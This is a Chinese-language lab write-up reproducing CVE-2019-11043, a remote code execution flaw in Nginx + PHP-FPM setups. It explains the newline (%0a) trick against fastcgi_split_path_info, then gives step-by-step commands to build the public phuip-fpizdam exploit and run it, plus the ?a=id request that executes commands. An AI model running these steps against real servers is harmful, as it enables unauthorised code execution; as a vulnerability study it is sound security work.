一、漏洞简介
CVE-2019-11043 是一个远程代码执行漏洞,使用某些特定配置的 Nginx + PHP-FPM 的服务器存在漏洞,可允许攻击者远程执行代码。
向Nginx + PHP-FPM的服务器 URL发送换行符%0a
时,服务器返回异常。该漏洞需要在nginx.conf 中进行特定配置才能触发。具体配置如下:
location ~ [^/]\.php(/|$) {
...
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
攻击者可以使用换行符(%0a
)来破坏fastcgi_split_path_info指令中的Regexp(正则表达式)。 Regexp被损坏导致PATH_INFO为空,从而触发该漏洞。
CGI的环境变量PATH_INFO的内容是URL中的一部分,例如请求URL为下面所示时,PATH_INFO获得的值为/yunsle1/yunsle2
:
http://10.211.55.6/index.php/yunsle1/yunsle2?a=yunsle
影响范围:
在 Nginx + PHP-FPM 环境下,当启用了上述 Nginx 配置后,以下 PHP 版本受本次漏洞影响,另外,PHP 5.6版本也受此漏洞影响,但目前只能 Crash,不可以远程代码执行:
- PHP 7.0 版本
- PHP 7.1 版本
- PHP 7.2 版本
- PHP 7.3 版本
二、漏洞环境准备
攻击机:kali
- 安装golang环境:
apt-get install golang -y
靶机:Ubuntu
- 使用vulhub进行漏洞环境的复现
三、漏洞复现
环境启动后,访问http://your-ip:8080/index.php
即可查看到一个默认页面。
安装漏洞利用工具EXP:
git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
go get -v 查看版本信息
go build 执行完之后会生成一个可执行文件
报错原因:默认使用的是proxy.golang.org,在国内无法访问
报错解决:执行命令:go env -w GOPROXY=https://goproxy.cn
(换一个国内能够访问的代理地址)
执行命令:
./phuip-fpizdam "http://xxx:8080/index.php"
或
go run . "http://xxx:8080/index.php"
漏洞利用:
注意:因为php-fpm会启动多个子进程,在访问/index.php?a=id时需要多访问几次,以访问到被污染的进程。